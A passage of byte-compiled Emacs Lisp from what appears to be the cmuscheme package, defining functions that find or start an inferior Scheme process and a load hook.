sophisticated package for running inferior Lisp and Scheme processes. The approach taken here is for a minimal, simple implementation. Feel free to extend it. (defvar scheme-buffer nil (#$ . -14587)) #@93 Return the current Scheme process, starting one if necessary. See variable `scheme-buffer'. (defalias 'scheme-proc #[nil "\203 \301!\203 \302!\204 \303 \210\304 \206 \305\306!\207" [scheme-buffer get-buffer comint-check-proc scheme-interactively-start-process scheme-get-process error "No current process. See variable `scheme-buffer'"] 2 (#$ . 16639)]) #@62 Return the current Scheme process or nil if none is running. (defalias 'scheme-get-process #[nil "\302\303=\203 p\202\f !\207" [major-mode scheme-buffer get-buffer-process inferior-scheme-mode] 3 (#$ . 17007)]) #@146 Start an inferior Scheme process. Return the process started. Since this command is run implicitly, always ask the user for the command to run. (defalias 'scheme-interactively-start-process #[(&optional cmd) "\300\213\207" [((byte-code "\301\302\303\"!\207" [scheme-program-name run-scheme read-string "Run Scheme: "] 4))] 1 (#$ . 17228)]) #@88 This hook is run when cmuscheme is loaded in. This is a good place to put keybindings. (custom-declare-variable 'cmuscheme-load-hook 'nil '(#$ . 17576) :type 'hook :group 'cmuscheme) (byte-code "\300\301!\210\302\303!\207" [run-hooks cmuscheme-load-hook provide cmuscheme] 2)
Close
